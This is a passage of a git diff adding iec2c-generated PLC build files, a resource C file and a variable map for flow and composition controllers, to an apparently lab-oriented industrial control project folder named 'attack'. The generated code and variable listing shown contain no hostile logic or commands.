SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; 